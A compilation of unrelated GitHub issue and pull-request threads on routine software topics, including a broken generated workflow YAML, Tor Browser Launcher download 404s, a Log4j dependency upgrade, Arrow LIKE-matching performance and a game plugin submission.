Adding a GithubActionStep to the postBuildSteps on a GithubWorkflow outputs invalid deploy.yml

I wanted to use the postBuildSteps parameter on the GithubWorkflow to upload some of the test artifacts for download later that are available after running the build steps.
const pipeline = new GitHubWorkflow(app, "Pipeline", {
  synth: new ShellStep("App", {
    commands: ["yarn", "yarn build"],
  }),
  preBuildSteps: [
    new GitHubActionStep("UploadHTML", {
      jobSteps: [
        {
          name: "UploadTestReports",
          uses: "actions/upload-artifact@v3",
          with: {
            name: "Test Reports",
            path: "test-reports",
          },
        },
      ],
    }),
  ],
});

However, the output in the .github/workflows/deploy.yml ends up being:
name: deploy
on:
  push:
    branches:
      - main
  workflow_dispatch: {}
jobs:
  Build-App:
    name: Synthesize
    permissions:
      contents: read
      id-token: none
    runs-on: ubuntu-latest
    needs: []
    env: {}
    steps:
      - name: Checkout
        uses: actions/checkout@v3
      - id: UploadHTML ### This is the generated step
        dependency-file-sets: []
        is-source: false
        _dependencies: {}
        job-steps:
          - name: UploadTestReports
            uses: actions/upload-artifact@v3
            with:
              name: Test Reports
              path: test-reports
        env: {}

This is invalid GH actions config, and to me it looks like there is all sorts of "extra stuff" being thrown in (id, dependency-file-sets) and the job-steps is a level too deep.
I would have expected it to behave in the same way as the pre and post hooks for the addStage method.
Am I doing something wrong here or is this not supported yet?

Hi @michael-lowe-nz, thanks for reporting this! This definitely shouldn't be happening (i.e. in a worst case scenario we should be throwing a synth-time error, not generating a broken yaml.
I think what is happening here is that we don't want you to be using a GitHubActionStep in the preBuildSteps array. The type of preBuildSteps is a JobStep, and GitHubActionStep does not extend JobStep. So I would have hoped we threw an error there for you. Somehow, typescript is allowing the code to synth and thats no good.
I believe your solution is to send in a JobStep if you want to use preBuildSteps. If you want to use GitHubActionStep, then you need to be using that within the confines of a stage, like so:
import { App } from 'aws-cdk-lib';
import { ShellStep } from 'aws-cdk-lib/pipelines';
import { GitHubWorkflow, JsonPatch } from 'cdk-pipelines-github';
const app = new App();
const pipeline = new GitHubWorkflow(app, 'Pipeline', {
  synth: new ShellStep('Build', {
    commands: [
      'yarn install',
      'yarn build',
    ],
  }),
});
const stage = new MyStage(app, 'Beta', { env: BETA_ENV });
pipeline.addStage(stage, {
  pre: [new GitHubActionStep('PreDeployAction', {
    jobStep: {
      name: 'pre deploy action',
      uses<EMAIL_ADDRESS>      with: {
        'app-id': 1234,
        'secrets': 'my-secrets',
      },
    },
  })],
});
app.synth();

I hope this helps and sorry for the friction. Definitely need to investigate why an error wasn't thrown.


auro-pane: selected attribute reflection

Describe the bug
In a Svelte application, I cannot select the pane by querying the 'select' attribute, because the property is not reflected. I need to get the element's position so that I can center the pane when it is in a carousel.
Expected behavior
The 'selected' attribute is rendered on the element.
Relevant Framework

Svelte

As a note here, this is a slightly different use case than why we normally reflect properties to attributes.
In most other components, we reflect a property when the component uses the presence of that attribute for styling, e.g. :host([disabled]).
In this case, auro-pane does not use the selected attribute for styling, but the consumer of this component wants to be able to query for an auro-pane based on whether it has been selected, e.g. document.querySelectorAll('auro-pane[selected]'). It's a subtle difference, but worth understanding.
IMO, this means that this is technically a feature request, not a bug.


Make it possble to download all files from form

Similar to download a CSV of the submissions, a zip file is created
containing the files that were uploaded on the form.
Related issue #147

Whitespace on submission_list.py line 87 has been fixed. I do not know what the other CI fails are.


Cannot download on Arch

> uname -a
Linux arch 6.5.7-arch1-1 #1 SMP PREEMPT_DYNAMIC Tue, 10 Oct 2023 21:10:21 +0000 x86_64 GNU/Linux

> torbrowser-launcher
Tor Browser Launcher
By Micah Lee, licensed under MIT
version 0.3.6
https://github.com/micahflee/torbrowser-launcher
Downloading Tor Browser for the first time.
Downloading https://aus1.torproject.org/torbrowser/update_3/release/Linux_x86_64-gcc3/x/ALL
Latest version: 13.0
Downloading https://dist.torproject.org/torbrowser/13.0/tor-browser-linux64-13.0_ALL.tar.xz.asc
Download Error: 404

That linux64 in the URL looks questionable, the file should be tor-browser-linux-x86_64-13.0.tar.xz.asc

That linux64 in the URL looks questionable, the file should be tor-browser-linux-x86_64-13.0.tar.xz.asc

Just for reference, the code to blame is https://github.com/torproject/torbrowser-launcher/blob/4652b442d75e118b96296864ac68a5e7252dfc3b/torbrowser_launcher/common.py#L107

As a temporary workaround to get it to work, you can just edit the file, in my computer found at /usr/lib/python3.11/site-packages/torbrowser_launcher/common.py

@margual56 Replacing the line 111
tarball_filename = "tor-browser-" + arch + "-" + tbb_version + "_ALL.tar.xz"
with
tarball_filename = "tor-browser-" + "linux-x86_64" + "-" + tbb_version + ".tar.xz
worked with the flatpak version. Thanks.

Replacing the line worked for me as well, thank you very much

With version 13.0 Tor Browser changed its filenames. As a temporary
workaround we added some redirects on the server to make the old
filenames work.

Can confirm it works out-of-tnow :)

The package in arch linux's extras (https://archlinux.org/packages/extra/any/torbrowser-launcher/) hasn't been updated, and the redirects doesn't seems to work anymore.
Changing the line as a temporary patch did the trick; but I marked the package as out-of-date today. Hope it'll get updated soon !

redirects should be working again now.

I can confirm, the redirects works and I'm able to download the archive from the installer as of now.

Considering Arch Linux is shipping the latest version 0.3.6, is there anything we should do at the moment? :)

Not yet, but we should tag a version 0.3.7 soon.

I've also opened #717 to upgrade the build system from ./setup.py install to wheels.

The extra's package has been updated.
It uses a patch for the download URL, and upgrade the BS to wheel.
This issue seems to be resolved.

The issue is still present on Debian bullseye

The issue is still present on Debian bullseye

Since this issue is specific to a package release, I think this should go to a new issue.
Anyway, I don't see any related patch in bullseye or bullseye-backport repositories. They seems to uses the 0.3.3 release of this soft, which is out-of-date whatever.
This should be addressed to the packagers.
More generally, the issue is present in every package repositories that don't include a patch, since no official release of this soft, including the related change, has been published.

More generally, the issue is present in every package repositories that don't include a patch, since no official release of this soft, including the related change, has been published.

Which issue exactly?
Version 3.3.6 without patch is still using the old URL, but a redirect
on the server should make it work.

You're right !
I misinterpreted what could possibly go wrong.
Here, if the package has been installed from the debian bullseye contrib repo, we still get the 404.
See this output from a docker runnning debian bullseye (with XServer on the host):
Tor Browser Launcher
By Micah Lee, licensed under MIT
version 0.3.3
https://github.com/micahflee/torbrowser-launcher
Downloading Tor Browser for the first time.
Downloading https://aus1.torproject.org/torbrowser/update_3/release/Linux_x86_64-gcc3/x/en-US
Latest version: 13.0.5
Downloading https://dist.torproject.org/torbrowser/13.0.5/tor-browser-linux64-13.0.5_en-US.tar.xz.asc
Download Error: 404

The error comes from common.py:157,159 in torbrowser-launcher 0.3.3:
tarball_filename = (
    "tor-browser-" + arch + "-" + tbb_version + "_" + language + ".tar.xz"
)

Since this package is out-of-date, it doesn't follow the '_ALL' language directive found in 0.3.6, this could cause the redirect to not work.
(in any case it is related, but this is an exceptional case where the provided package is out-of-date)


⚠ Carbubu has degraded performance

In 918b707, Carbubu (https://carbubu.fr) experienced degraded performance:

HTTP code: 200
Response time: 4831 ms

Resolved: Carbubu performance has improved in e86093e after 6 minutes.


Update Log4J to 2.15.0

Summary
Update Log4J dependency based on the advisory (Remote code injection in Log4j) - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
Description
Log4J library updated from 2.13 to 2.15.0 to resolve a critical vulnerability
Related Issue
https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
Additional Reviewers
@affonsoBQ
@andiem-bq
@alexey-temnikov
@birschick-bq

This PR can be closed since we decided to use the dependabot PRs to update log4j api/core


Resources dependent on another resource with false condition

What happens when a specific resource is not deployed (condition: false), but it is specified as dependency for other resources?
Example:
A
B depends on A
C depends on B

If A has its condition set to false, what will happen to the dependent resources (B and, indirectly, C)? will there be an error or will they simply not be deployed?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: ada6b9c1-42f6-5012-9201-04fd463efdfd
Version Independent ID: 16abf6b9-c81a-a6f7-d0fd-b22ef3a4a744
Content: Conditionally deploy a resource in an Azure Resource Manager template
Content Source: docs/building-blocks/extending-templates/conditional-deploy.md
Service: architecture-center
Sub-service: reference-architecture
GitHub Login: @petertay
Microsoft Alias: pnp

@fleed Thank you for your feedback! We will review and provide an update as appropriate.

@fleed For B is A is necessary resource so all the child/dependent resource will fail too. Checkout this document for resource dependency.

thank you @KetanChawda-MSFT . That means: I should take care of having consistent conditions, so that A and all dependent resources are "ignored", shouldn't I?

@fleed For a given resource, there can be other resources that must exist before the resource is deployed. For example, a SQL server must exist before attempting to deploy a SQL database. You define this relationship by marking one resource as dependent on the other resource. You define a dependency with the dependsOn element, or by using the reference function.
Resource Manager evaluates the dependencies between resources, and deploys them in their dependent order. When resources aren't dependent on each other, Resource Manager deploys them in parallel. You only need to define dependencies for resources that are deployed in the same template.
We will now proceed to close this thread. If there are further questions regarding this matter, please tag me in your reply. We will gladly continue the discussion and we will reopen the issue.


Improve like/nlike performance

Note: migrated from original JIRA: https://issues.apache.org/jira/browse/ARROW-8681
Currently, the implementation of  like_utf8 and nlike_utf8 is based on regex, which is simple and readable, but poor at the performance.

I do some benchmark in [https://github.com/TennyZhuang/like-bench/] , in this repo, I compare three like algorithm.
like(includes partial_like): this is the first naive version, using the recursive approach, which will cause terrible performance on special attack input, such as a%a%a%a%a%a%a%a%b.
like_to_regex: which is almost the same as the current implementation in arrow.
like_optimize: the like problem is similar to glob in shell, so a perfect solution is proposed in [https://research.swtch.com/glob] . The code in the research is written golang but I translate it to rust.

In my benchmark result, the recursive solution can be ignored due to bad time complexity lower bound.
the regex solution will cost about 1000x time including regex compiling, and about 4x time without regex compiling then solution 3. And It seems that the code complexity of solution 3 is acceptable.
Everyone can reproduce the benchmark result using this repo with a few codes.

I have submitted a PR to TiKV to optimize the like performance ([https://github.com/tikv/tikv/pull/5866/files|https://github.com/tikv/tikv/pull/5866/files)], without UTF-8 support), and add collation support in [https://github.com/tikv/tikv/pull/6592], which can be simply port to data-fusion.

Comment from Andrew Lamb(alamb) @ 2021-04-26T12:30:42.598+0000:
Migrated to github: https://github.com/apache/arrow-rs/issues/71

I am pretty sure the arrow-rs kernels now do the standard tricks like using substring matching with %% eetc -- see https://github.com/apache/arrow-rs/blob/61c4f12e84330db243789fc98375512d67628e57/arrow-string/src/like.rs#L303-L306 so I am closing this issue


Prune metrics: other classification 7/n

What does this PR do?
re-routing torchmetrics
follow-up #6505
Before submitting

[ ] Was this discussed/approved via a GitHub issue? (not for typos and docs)
[ ] Did you read the contributor guideline, Pull Request section?
[ ] Did you make sure your PR does only one thing, instead of bundling different changes together?
[ ] Did you make sure to update the documentation with your changes? (if necessary)
[ ] Did you write any new necessary tests? (not for typos and docs)
[ ] Did you verify new and existing tests pass locally with your changes?
[ ] Did you update the CHANGELOG? (not for typos, docs, test updates, or internal minor changes/refactorings)

PR review
Anyone in the community is free to review the PR once the tests have passed.
Before you start reviewing make sure you have read Review guidelines. In short, see the following bullet-list:

[ ] Is this pull request ready for review? (if not, please submit in draft mode)
[ ] Check that all items from Before submitting are resolved
[ ] Make sure the title is self-explanatory and the description concisely explains the PR
[ ] Add labels and milestones (and optionally projects) to the PR so it can be classified

Did you have fun?
Make sure you had fun coding 🙃

Hello @Borda! Thanks for opening this PR.

In the file pytorch_lightning/metrics/classification/confusion_matrix.py:

Line 20:1: E302 expected 2 blank lines, found 1

In the file pytorch_lightning/metrics/classification/iou.py:

Line 40:12: W292 no newline at end of file

In the file tests/metrics/test_remove_1-5_metrics.py:

Line 191:82: W292 no newline at end of file

Do see the Hitchhiker's guide to code style


Standardize hello-world generator.

Update the hello-world generator to use the standard generator method names.
Description
Use the standard workload and skipped methods rather than the more ambiguous and template dependent do and skipped? methods.
How Has This Been Tested?
Regenerated hello-world_test.rb which was almost identical to the original version.
(Minor) Differences

Change from sigle quotes to double quotes due to use of inspect
Addition of commented out #skip call which now matches other generated tests.

Thank you @Insti


Support for Jupyter Stack version 3.x

This support is there. Please use pip to install: https://github.com/deshaw/jupyterlab-execute-time#install


Implementing Roles in MenuService

Hi @neozhu,
How do I implement Roles on MenuService?

Thank you!

It is all right now


pref(playground): split fine-grained components

Optimize the Playground components based on the existing ones

[x] Split the components into finer details
[x] Auto import using composables

Please forgive my paranoia for submitting this PR even though it is not very good.
Component split inspired by Elk.
Feel free to close the PR if you don't like it.


docs: Fixup README links for language server integration

Can revert first commit if you want to point to the harper-ls subdirectory initially. I was just looking for the website.

Thanks Clay! Mergining...


Combat Achievements Timers Plugin

Plugin that provides countdowns for various boss speedrun tasks in the combat achievements.
Currently supported bosses are Hespori, Vorkath and Zulrah but will be adding more soon.
When a boss kill is started a timer starts counting down from the desired goal and is displayed on screen.
The goal time can be adjusted in the sidebar panel for each boss, and "Off" can also be selected to turn off the timer for a given boss.
Check the Readme file for more info and please let me know if you need any more information. :)

README has a typo "Zulraj"

Remove https://github.com/lukamircetic/ca-timers/blob/81cd18ff64939f03997b51db606528fa8da4b346/src/main/java/com/catimer/CABoss.java#L21 please